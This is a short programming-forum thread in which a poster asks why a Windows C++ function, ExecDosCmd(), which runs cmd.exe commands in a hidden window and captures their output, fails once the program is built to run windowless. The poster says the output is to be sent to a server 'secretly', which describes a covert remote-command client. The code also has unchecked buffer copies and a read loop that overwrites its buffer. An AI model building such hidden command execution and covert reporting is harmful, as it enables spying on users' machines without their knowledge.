How to make ExecDosCmd() run correctly in the background

I'm writing ExecDosCmd() to execute dos commands and get output.
It works well,howerver, when the following line is added to make the programme run in the background,I can't get correct output.
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
I use VC6 to edit and compile the codes.
////
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
BOOL ExecDosCmd(char *EXECDOSCMD,char *buffer)
{//buffer save the output
//#define EXECDOSCMD "dir c:"
	SECURITY_ATTRIBUTES sa;
	HANDLE hRead,hWrite;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
	if (!CreatePipe(&hRead,&hWrite,&sa,0)) {
		return FALSE;
	}
	char command[1024]={0};
	strcpy(command,"cmd.exe /C ");
	strcat(command,EXECDOSCMD);
	STARTUPINFO si;
	PROCESS_INFORMATION pi; 
	si.cb = sizeof(STARTUPINFO);
	GetStartupInfo(&si); 
	si.hStdError = hWrite;
	si.hStdOutput = hWrite;
	si.wShowWindow = SW_HIDE;
	si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	if (!CreateProcess(NULL, command,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) 
	{ 
		WaitForSingleObject(pi.hProcess,3000);//3 seconds
		CloseHandle(hWrite);
		CloseHandle(hRead);
		return false;
	}
	CloseHandle(hWrite);
	DWORD bytesRead; 
	while (true){
		if (ReadFile(hRead,buffer,60000,&bytesRead,NULL) == NULL){
			break;
		}
	}
	CloseHandle(hRead);
	return true;
}

Can anyone tell me why it's wrong and how to correct it?
Last edited on
Why don't you create a new win32 project (GUI project) instead of that #pragma directive ??
I want the application( as client) to run in the background on windows system and get correct output after executing the dos commands.so I needn't GUI.
The output will be sent to server application secretly.
Last edited on
Topic archived. No new replies allowed.